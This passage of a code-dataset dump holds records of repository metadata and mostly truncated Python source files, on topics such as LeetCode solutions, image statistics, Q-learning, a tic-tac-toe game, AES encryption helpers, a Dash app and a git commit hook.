print(dice.roll(current_dice))
current_dice = dice.rol... | true |
a5376c34fbc253451e89ed70916e0680a8e40050 | vemel/mypy_boto3_builder | /mypy_boto3_builder/structures/method.py | UTF-8 | 479 | 3.109375 | 3 | [
"MIT"
] | permissive | """
Class method.
"""
from mypy_boto3_builder.structures.argument import Argument
from mypy_boto3_builder.structures.function import Function
class Method(Function):
"""
Class method.
"""
@property
def call_arguments(self) -> list[Argument]:
"""
Arguments that are used in method c... | true |
7f0a6b7d57833b967075f73592e1db7c8e0852fc | aitatanit/PyMSI | /Features_FOSbased.py | UTF-8 | 1,568 | 3.03125 | 3 | [] | no_license | '''
Command to run script :
~/Documents/MSimaging$ python Features_Firstorderstatistics.py -f '~/Documents/MSimaging/Images/A1.csv'
'''
import numpy as np
from scipy import stats
import argparse
def Firstorderstatistics(Imgarray):
'''Function calculate first order statistics for tissue object'''
FOS = []
... | true |
001d749461196cb6ddc315ea57d47483a7a9b178 | wesleybowman/honours | /goodImages/i.py | UTF-8 | 3,974 | 2.65625 | 3 | [] | no_license | import numpy as np
import matplotlib.pyplot as plt
import time
from mayavi import mlab
import numexpr as ne
def normalizeImage(img):
'''This is to make sure every input image is seen as the same by the
program later on. This way, the image will be between 0 and 1.'''
imgMax=np.amax(img)
f... | true |
883ac4aa510ad376eff90ff6602c971946295531 | 317702550/THC | /OK/Python/ASEFE_PBS_Seno.py | UTF-8 | 803 | 3.90625 | 4 | [] | no_license | #!/usr/bin/python3
# Maximiliano Proaño Bernal
# 11/11/19
# 12/11/19
# Python 3.7.3
# Calcula el seno del ángulo a
from math import pi, sin, sqrt
a = 0.1
b = a/(2**5)
print("""
Para a = 0.1:""")
for i in range(5):
c = 2*sin(b)*sqrt(1-sin(b)**2)
print("Paso %.0f: sin(%.5f) = %.5f"%(i+1,2*b,c))
b = 2*b
a = ... | true |
d0bc7358489dcfb45a8a4d73d938848dd71370a1 | Prashant-Bharaj/A-December-of-Algorithms | /December-26/py_imhphari.py | UTF-8 | 498 | 3.671875 | 4 | [] | no_license | def common_prefix(strings):
if len(strings) == 1:
return strings[0]
prefix = strings[0]
for string in strings[1:]:
while string[:len(prefix)] != prefix and prefix:
prefix = prefix[:len(prefix)-1]
if not prefix:
break
return prefix
string=list()... | true |
2946c0ddfac0a14364756f30b94d1bf9576494dd | daniel-reich/ubiquitous-fiesta | /9AMT6SC4Jz8tExihs_2.py | UTF-8 | 182 | 3.0625 | 3 | [] | no_license |
def generate_nonconsecutive(n):
ans = []
for i in range(2**n):
b = bin(i)[2:].zfill(n)
if '11' not in b:
ans.append(b)
return ' '.join(ans)
| true |
2aca96763ecb1cb0e420c641ebc94f9af23fd69e | lauradellantonio/capstone | /app.py | UTF-8 | 6,290 | 2.546875 | 3 | [
"MIT"
] | permissive | import pandas as pd
import plotly.express as px # (version 4.7.0)
import plotly.graph_objects as go
from plotly.subplots import make_subplots
import dash # (version 1.12.0) pip install dash
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output
app = das... | true |
bda9c6ecbbb2a9c0573698ca9c7f5443247c6d90 | bian-hengwei/LeetCode | /codes/98.验证二叉搜索树.py | UTF-8 | 1,109 | 3.296875 | 3 | [] | no_license | #
# @lc app=leetcode.cn id=98 lang=python3
#
# [98] 验证二叉搜索树
# @lc code=start
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
def isValidBST(self, root: Tre... | true |
aba66c386563e275a1750adb7f105c5ccf6747f4 | 1065672881/Demo | /python/错误,调试和测试/调试/调试.py | UTF-8 | 2,608 | 4.1875 | 4 | [] | no_license | # 程序能一次写完并正常运行的概率很小,基本不超过1%。总会有各种各样的bug需要修正。有的bug很简单,看看错误信息就知道,有的bug很复杂,我们需要知道出错时,哪些变量的值是正确的,哪些变量的值是错误的,因此,需要一整套调试程序的手段来修复bug。
# 第一种方法简单直接粗暴有效,就是用print()把可能有问题的变量打印出来看看
# 用print()最大的坏处是将来还得删掉它,想想程序里到处都是print(),运行结果也会包含很多垃圾信息。所以,我们又有第二种方法
import pdb
import logging
logging.basicConfig(level=logging.INFO)
# 断言
# 凡是用print(... | true |
3246c030914b90f774a961156c60788c303da552 | rve/datascii | /assignment1/frequency.py | UTF-8 | 709 | 2.921875 | 3 | [] | no_license | import sys
import json
def hw(tweet_file):
freq = {}
total_freq = 0
for line in tweet_file:
tweet = json.loads(line)
TEXT = "text"
if TEXT in tweet:
text = tweet[TEXT]
words = text.split()
for word in words:
if word not in freq:
... | true |
4d1d205b70d062181d6de8282c4cd47c49a08ac1 | menzec/myCode | /python_learning/copy_men.py | UTF-8 | 2,137 | 2.875 | 3 | [] | no_license | import xlrd
import shutil
import os
import datetime
data=xlrd.open_workbook(r'D:\data\00.xlsx')
table=data.sheets()[0]
nrows=table.nrows
#需要复制的文件夹名称列表
foldername_lists=table.col_values(0)
#源路径
fromDirList=[r'D:/', ]
toDir =r'D:/data/test'
#查找文件夹函数
def search_copy_folder(foldername, source_dir):
... | true |
c0514d65c88bedd245ca6b08fdce9f00f3ef8cbd | ropod-project/mrta | /mrs/exceptions/execution.py | UTF-8 | 1,352 | 3.28125 | 3 | [] | no_license | class InconsistentSchedule(Exception):
def __init__(self, earliest_time, latest_time):
""" Trying to assign a time (between earliest_time and latest_time)
to a timepoint in an stn makes the temporal network inconsistent.
e.g., attempting to schedule a task causes
inconsistencies w... | true |
400848448e67b8ada1b6c4dff995334606ba9b9a | ibandominguez/understanding-python | /src/flow.py | UTF-8 | 223 | 3.703125 | 4 | [
"MIT"
] | permissive | """
Conditionals
"""
if True:
print "true"
elif False:
print "elif"
else:
print "else"
"""
Loops
"""
for number in [1, 2, 3, 4]:
print number
# breack
# continue
day = 0
while day < 30:
print day
day += 1
| true |
617d2b6adc0b97fc18ee6ae74a4377a9a789f292 | LewisTrahearn/Battleships_A_Level_Project | /Battleships_A_Level_Project/main.py | UTF-8 | 588 | 2.859375 | 3 | [] | no_license | """
Module Name:
Main.py
Functions/Methods:
None
Class:
None
Imports:
battleships_game - the main control class for the entire game.
Purpose:
The purpose of this module is as an entry point to the whole program.
It will instantiate the main game class, which will control and call
other o... | true |
c66e73aad1bb8cd9c3aa05f26fb16a4ee2f66aa5 | bgriessbach/Code_Training | /utopian_tree.py | UTF-8 | 340 | 3.0625 | 3 | [] | no_license | #!/bin/python3
import sys
t = int(input().strip())
for a0 in range(t):
n = int(input().strip())
height=1
if n==0:
print(height)
else:
cycle=1
while cycle<=n:
if cycle%2!=0:
height*=2
else:
height+=1
cycle+=1
... | true |
279ea8ea8965be2aa675832f40447ff6384451d4 | jonascuypers/spontaneous-robot-reactions | /src/knowledge_deriving/src/hectic_knowledge_deriving.py | UTF-8 | 2,520 | 2.546875 | 3 | [] | no_license | #!/usr/bin/env python
from sound_analyzers.msg import RecognisedSounds
import rosplan_pytools.controller.knowledge_base as kb
import rosplan_pytools.common.utils as pytools_utils
import rospy
class HecticSoundKnowledgeGenerator:
def __init__(self):
kb.initialize(prefix="/rosplan_knowledge_base")
r... | true |
68a69fbe2d052115f3c1b1210c227c0b759705da | AlexKolchin/geekbrains | /pythonProject/Functions/funcparams.py | UTF-8 | 203 | 3.421875 | 3 | [] | no_license | def hello_max():
print('Hello', 'Max')
hello_max()
def hello(who):
print('Hello', who)
hello('Leo')
def greeting(who, say = 'Hello'):
print(say, who)
greeting('Leo')
greeting('Leo', 'Hi') | true |
e0604465f52839017723f704a8e00663e4cb1e27 | archit-kr/WikECD | /tests/experiment_with_size_and_time.py | UTF-8 | 4,305 | 2.75 | 3 | [] | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Feb 28 19:46:39 2021
@author: descentis
"""
from itertools import combinations
import xml.etree.ElementTree as ET
def lindexsplit(List, lindex):
index_list = lindex
index_list.sort()
new_list = []
#print(index_list)
len_index =... | true |
8cdca2caec8be5d8a699aba34fc093c7f6fc128c | varshitha1707/Hacking-Scripts | /Python/Scraping Laptop Specs/Scrapinglaptopspecs.py | UTF-8 | 3,366 | 4.09375 | 4 | [] | no_license | Step 1: Find the URL that you want to scrape
For this example, we are going scrape Flipkart website to extract the Price, Name, and Rating of Laptops. The URL for this page is https://www.flipkart.com/laptops/~buyback-guarantee-on-laptops-/pr?sid=6bo%2Cb5g&uniqBStoreParam1=val1&wid=11.productCard.PMU_V2.
=============... | true |
8b29d6d52850c7402fb81586b52b3ddbabe5dd2a | l34marr/jupyter-nbs | /sample/top_incomes.py | UTF-8 | 922 | 2.890625 | 3 | [] | no_license | # https://datahub.io/dataset/world-top-incomes-database
# wget https://commondatastorage.googleapis.com/ckannet-storage/2012-01-07T150817/data.csv
import csv
data_file = "data.csv"
with open(data_file, 'r') as csvfile:
reader = csv.DictReader(csvfile)
# data = list(reader)
for row in reader:
print(row... | true |
b46879cd52614c222b242e3603cc33abf9ba289b | s3296324/wii | /Test/signal.py | UTF-8 | 3,233 | 3 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
Created on Fri Sep 21 13:17:46 2012
@author: FL232714
"""
import numpy as np
from scipy.interpolate import interp1d
from scipy.signal import lfilter, lfilter_zi, filtfilt, butter
def smooth_time_series(t, x, kernel_time_window, sampling_freq):
""" assuming that x(t) is a time series ... | true |
a84800bb004591cf11f332dc8eab67c34f3cc7b5 | Adiprogrammer7/text_based_games | /tic_tac_toe(text_based).py | UTF-8 | 5,048 | 4.125 | 4 | [] | no_license | # A text based tic_tac_toe game.
import itertools
# here player_id is for players, suppose two players are playing then their id's would be 1 and 2 respectively and those id's would be printed on game on player's move
# when we just want to see game then player_id would be zero.
def game_board(game_map, player_id... | true |
e84ce4e5d33e19bd39f2b071fde100f2cf98e07c | ValerianThomas/Titanic_kaggle_in_production | /api/app/prediction_model/make_prediction.py | UTF-8 | 540 | 2.5625 | 3 | [
"MIT"
] | permissive | import os
import pickle
import pandas as pd
MODEL_PATH = os.path.dirname(os.path.realpath(__file__)) + '/saved_models/model.sav'
TEST_CSV = os.path.dirname(os.path.realpath(__file__)) + '/data/test.csv'
def make_prediction(input_data):
data = pd.DataFrame(input_data)
model = pickle.load(open(MODEL_PATH,'rb'))
... | true |
b95e55702e3d7f11e9d2465fc8e9aa6675b235cd | krkruk/OrionPI | /src/bin/Devices/DeviceAbstract.py | UTF-8 | 2,935 | 2.6875 | 3 | [
"MIT"
] | permissive | from bin.Devices.DeviceObservable import DeviceObservableAbstract
import json
class DeviceInterface:
def update_data_incoming(self, data={}):
raise NotImplemented()
def handle_data_incoming(self, data={}):
raise NotImplemented()
def update_data_outcoming(self, data=b""):
raise No... | true |
d4b61544bd7ad46f803c38420c747e6a1f0682f5 | pololee/oj-leetcode | /companies/square/p465/Solution.py | UTF-8 | 2,448 | 3.265625 | 3 | [] | no_license | import sys
class Solution:
def minTransfers(self, transactions):
"""
:type transactions: List[List[int]]
:rtype: int
"""
if not transactions:
return 0
balance = dict()
for x, y, z in transactions:
if x not in balance:
... | true |
fd597c50e7bda54c3bcd1985dfb3081c663c7ca4 | artpick/somespotifystuff | /prepare-commit-msg | UTF-8 | 1,149 | 2.578125 | 3 | [] | no_license | #!/usr/bin/env python
import sys, os, urllib2, json, re, hashlib, time
from subprocess import check_output
hash_gen = hashlib.sha1()
gen_ts = str(time.time())
# Collect the parameters
commit_msg_filepath = sys.argv[1]
if len(sys.argv) > 2:
commit_type = sys.argv[2]
else:
commit_type = ''
if len(sys.argv) > 3:
... | true |
a0772962c832f3b55f3ab9d7e08ec98236bf426e | loongqiao/learn | /python1707A/0710-0716/hw01.py | UTF-8 | 2,933 | 3.5 | 4 | [] | no_license | import os
#首界面内容
print("\t\t英雄联盟商城首页\n")
print("~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*\n")
print(" \n")
print("\t\t1.进入英雄超市\n")
print("\t\t2.休闲小游戏\n")
print("\t\t3.退出登录\n")
print("\n")
choice=input("(温馨提示)请输入您的选项:")
#英雄价格介绍
if choice=='1':
print("~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~\n")
... | true |
2c61b5c3deee2e457852c04667d3b644dc65b9cc | ThomasMarques/django-settings-custom | /django_settings_custom/encryption.py | UTF-8 | 2,462 | 3.125 | 3 | [
"MIT"
] | permissive | # -*- coding: utf-8 -*-
"""
.. module:: encryption
:synopsis: Module to encrypt / decrypt values.
"""
import base64
import six
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from django.conf import settings
def _compute_key(secret_key=None):
"""
Compute a valid ke... | true |
4fba13d051a3aceb393a4473cdbf6d4fc684c7ac | Masterroy1210/python-codes | /dict.py | UTF-8 | 522 | 3.109375 | 3 | [] | no_license | fname = input('Enter the file name to open')
fh = open(fname)
lst1 = list()
data = dict()
for ln in fh :
if ln.startswith("From"):
if ln.startswith('From:'):
continue
else :
word = ln.split()
lst1.append(word[1])
for word in lst1:
data[word] = dat... | true |
b092e5efb53c5cad91fb04065872acda757e9e40 | zuzhiang/Reinforcement-learning | /Q_Learning_maze/run_this.py | UTF-8 | 1,041 | 3.359375 | 3 | [] | no_license | '''
本代码实现了智能体(红色)走迷宫到达出口(黄色)的学习过程,运用了Q-Learning算法。
每走一步的奖励为0,到达出口的奖励为1,跌入悬崖(黑色)的奖励为 -1。
'''
from maze_env import Maze
from q_learning import QLearningTable
def Q_Learning():
total_step=0
for episode in range(25):
step=0
observation = env.reset() #初始化观测(状态)
while True:
env.render() #刷新环境
action = RL.choo... | true |
dba47323a1ad8e6a239a56f806628a03d12da1d1 | sunnyyants/crackingPython | /Trees_and_Graph/In_Order_Traversial.py | UTF-8 | 1,135 | 3.265625 | 3 | [] | no_license | __author__ = 'SunnyYan'
from Stacks_and_Queues.Stack import Stack
from Tree import BinarySearchTree
def inOrderTraversial(root):
arraylist = []
buffer = Stack()
node = root
# buffer.push(node)
# node = node.leftChild
# while(node != None):
# buffer.push(node)
# node = node.leftChild... | true |